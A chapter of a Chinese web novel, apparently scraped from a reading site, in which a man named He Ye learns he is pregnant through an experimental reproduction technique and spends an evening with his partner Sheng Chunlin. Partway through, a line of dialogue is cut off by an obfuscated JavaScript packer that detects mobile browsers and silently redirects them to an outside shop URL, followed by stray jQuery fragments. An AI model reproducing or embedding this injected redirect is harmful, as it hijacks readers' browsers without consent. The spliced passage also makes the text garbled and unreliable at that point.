年后不过一个月，何野的自媒体已经有两千多个粉丝，只是何野对评论区的人机夸奖日渐麻木，野心越来越大，却没到更多的流量。


    好在网络流量的起伏有苦有甜，何野在网上交到了同好。


    盛春临一回来就看到何野抱着手机又苦又乐。


    “这是怎么了？”盛春临放下手中的外套。


    “给你看，我在网上交到了新的朋友，也是做手工的博主。”何野打开对方的主页展示给盛春临看。


    手机上李大彤三个大字迎面而来，差点怼到盛春临脸上。


    这个账号三万粉丝，每个视频都有几千上万的点赞。


    “她这视频流量还蛮好。”


    “超羡慕，要是我的视频也有这么多流量就好了。”何野叹了一口气，语气中满是可惜。


    “你的视频最近流量不好吗？”盛春临有些出乎意料，明明她早就让棠溪书帮何野投流做数据了，竟然还不好吗？


    “没有很好，就跟之前一样，但我想做得更好些。”


    “你可以试试其他的方式，比如跟其他类型内容结合，或者加上你的配音，你的声音很好听。看别的同类型博主怎么做，对标一下。”


    盛春临认真地给建议，边说边走到何野身边。


    她不想让何野很快地大红起来，这并不适合何野，但改善建议还是可以给，这是她该做的。


    “谢谢，我试试吧。”抬起双手，何野自然挂在了盛春临身上，不知怎么，最近他格外渴望盛春临的拥抱和陪伴，总是想着亲亲抱抱。


    “最近身体感觉怎么样，有哪里不舒服吗？”


    “没有，只是偶尔感觉胸胀，小腹有些奇怪，可能是着凉？”


    黎卓说人体内激素本就是波动的，有些变化也正常，何野再也不轻易怀疑自己身体了。


    “嗯，下午让溪书陪你去黎卓那看看吗？”


    “算了，过两天吧，下周该去黎医生那里了。”


    前一阵黎卓出国参加学术研讨又加上新年，已经有一段时间没去检查，但盛春临不去的话，何野也不想折腾，没人会喜欢天天往医院跑。


    “我今天下午有些忙，等我晚上回来陪你去也好。”盛春临去年年底的时候调整了许多工作流程，大幅提升了原有的效率，现在她偶尔还能腾出时间像今天这样陪何野吃午饭。


    “好，那我在家等你。”


    黎卓早已习惯每天晚上下班后再被金主叫回来的工作模式，她有时想或许自己是个m，就喜欢这样奔波地挣钱。


    但也不仅是为了钱，黎卓之前还从未在双性的母体条件下进行过双雌生殖，她当然想亲自观察和负责。


    “有没有肚子痛或出血？”B超结果说明一切，但黎卓还是详细地问着何野的情况。


    “不是很痛，就偶尔抽一下？一点点。没有出血。”


    “上次月经是什么时候？”


    “年前来过一次，上个月的事儿了。”何野早就把这件事给忘了，毕竟在过去二十多年，不来月经的人生对他才是常态。


    “何野，你要有宝宝了，恭喜你。”黎卓指着B超给两人看，“小宝宝在这里。”


    “什么？！”


    听到黎卓的话，何野惊喜又茫然地看向盛春临，他没想到所谓双雌技术所承受的痛苦这么少，自己又竟然这么快就怀孕，此刻好像命运落地，梦想成真。


    盛春临握紧他的手，两人一起看向B超单上的一小坨黑色。


    “春临，我们要有孩子了吗？”


    “嗯，我要当妈妈了。”


    “何野你这是怀孕圣体啊，这么快就着床的我还是第一次见。”黎卓难得不正经，调侃道。


    何野脸一红不好意思地微微转过身去。


    “好了，说点有用的。”盛春临开口制止，她知道何野有些胆小，不喜欢别人乱开玩笑。


    “现在孩子才五周，目前看指标都正常，下周再来检查一次。稍后我把注意事项发你们，早期还不稳定，尤其要小心。前三个月不要进行性生活，盛总要好好记住，多注意。”黎卓却像是来了劲，不忘挖苦一下盛春临。


    “嗯。”盛春临脸上没什么波澜，还是那样坦然无所畏惧。


    坐在车上，何野低头把手放在小腹上，感受着身体内无声的变化。


    一个小小的生命，正在里面悄然长大。


    “好神奇，春临，我要当爸爸了吗？”


    “也可以是妈妈。”


    “那宝宝会有两个妈妈了，她长大了肯定要觉得奇怪。”


    “但她更会开心自己有双倍的爱和支持。”


    “像梦一样……原来你们没有骗我，是菩萨显灵了吗？”


    “等孩子生下了，我们去庙里还愿。你母亲的那些，我还在寻找，有消息会第一时间告诉你。”盛春临自动忽略何野前半句的怀疑。


    “嗯……谢谢你。”何野抿了抿唇，想起了两人的合作，尽量着压抑着自己心里微微的苦涩。


    他深深地看着盛春临，却没得到自己想要的回应。


    “别多想，我们的孩子会平安健康。”


    盛春临其实也恍惚，之前黎卓跟她承诺的是五次左右怀上的概率比较大，没想到才第二次何野就已经怀孕了。她像是一个游戏规则的管理者，安排好游戏成员扮演好自己的角色。


    她终于遂了祖母的愿，祖母知道自己做的这一切吗？知道的话，是会开心，还是会被气晕？


    每天掺和在这些心怀各异的人里，她也有些疲惫和烦躁。


    啊，她要当妈妈了吗？生命真神奇。


    “盛总，盛总？”棠溪书轻声地问道。


    跟在盛春临身边这么多年，这还是她第一次看到盛春临发呆。


    被棠溪书发现走神，盛春临也不觉得尴尬，轻咳一声开口道：


    “嗯，继续说吧。”


    “好，公司的事情要出处理的基本就这些，主要是弥曼科技的投资和最新的人员调动情况。”棠溪书顿了顿，把手机递给盛春临，手机界面上是何野和另一个人的合照。


    “有关于怀孕所需的各种物品和注意事项已经跟程芳对齐，何先生今天下午跟一个女人出去吃了饭，是另个一个手工博主，昵称叫李大彤，两个人关系看起来不错。”


    “这是他的自由，下次不用汇报。”


    “好，还有关于何先生的身世，我们有了最新的消息。”棠溪书心里清楚，老板口嫌体直说不在乎，但她下次还应该继续说。


    作为世界上最出色的秘书，这些眼色还是有的。


    直至回家后，跟何野一起吃晚饭，盛春临脑子里还有棠溪书汇报时残存的话。


    何野这辈子，比她看到的还要苦。


    “何野，我要看你的手机。”盛春临边说边拿起何野的手机。


    “诶，为什么要看我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304321|196488||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的手机？”虽然对盛春临的反常有些疑惑，但何野并未阻止，他的一切本来就是盛春临的。


    “检查一下你跟李大彤在聊些什么。”


    “嗯？”


    盛春临快速浏览着两人的聊天记录，都是些吐槽流量不好或是探讨哪家胶带好用之类的话，对面也很真挚，知道何野是男人之后，发出一个尖锐爆鸣的表情包。


    “你们平时就聊这些吗？”


    “你希望我们聊什么？”何野眼带笑意，没有想到盛春临也会做查手机这样有些幼稚的事情。


    还蛮可爱的。


    “还以为你会天天在外夸你有个好女朋友。”盛春临的语气有些酸，何野听出来了。


    “嗯，我下次会好好夸。”何野笑得更开心了，“春临啊，你是在吃醋吗？”


    修长的手指在手机上滑动，盛春临没有像何野预想的那样反驳或是害羞，反而抬眸一笑，手指点开了何野之前跟盛春临视频电话的录屏。


    两人的交谈声瞬间从手机出涌出。


    “好啊，何野，你偷拍我。”


    这次倒轮到何野心虚了，他承认他有时确实喜欢记录一些盛春临的照片，不过他这并不是恶意的啊，不能算是偷拍吧……


    “诶呀，好困啊，我要睡觉去了。”何野捂着耳朵就要走，假装听不到盛春临的话。


    等何野回到房间刚要放松，盛春临却屁颠屁颠地跟在他身后了。


    “心虚的连手机都不要了吗？”盛春临把何野的手机放在桌子上。


    “诶呀~”何野用手盖住自己的脸，转过身去不看盛春临。


    其实心虚是假的，


    害羞是真的。


    对于盛春临看到自己拍的照片这件事，何野心里还有几分说不出的窃喜，就像是随手做的好事被放在大喇叭里夸赞的那种窃喜。


    好幸福。


    不知怎么，就变成了何野躺在床上，盛春临把耳朵贴在他的小腹上，何野感觉此刻自己变成了一个真正的“母亲”了。


    何野用手接住盛春临垂落在眼角的发丝，墨绿色眼睛露出，他轻声问道：“能感受到什么吗？”


    “不能。”温暖，柔软，盛春临不愿破坏这美好的氛围。


    “你的眼睛真好看。”


    “我祖父和妈妈也是绿眼睛。”


    “那我们的宝宝的眼睛会不会也是绿色的？”


    “嗯，你喜欢绿眼睛吗？”盛春临边说边眨了眨眼睛。


    “喜欢，我一看到绿色的东西，我就会想起你。”何野抚摸着盛春临的脸颊，指间轻轻划过她的嘴角。


    “你的眼睛是棕色的，也很好看。”


    “你喜欢女孩还是男孩？”


    “女孩。”盛春临毫不犹豫地回答。


    “万一是男孩怎么办？”


    “没有万一，根据我们的基因来看，我们之间只会生出来女孩。”盛春临没有当着何野的面说出更极端的话，尽管她是这样想的。


    女人的子宫里要生出什么样的孩子，是该由女人自己来决定的。


    “原来是这样吗？”


    “嗯，如果她喜欢，以后这整个长盛集团都是她的。”


    “怎么娃娃还没生出来，你就给人家画饼了？”


    “怎么算画饼？明明是板上钉钉的事。”


    两人相视一笑。


    窗外月亮高高挂，何野心中的月亮永不落下。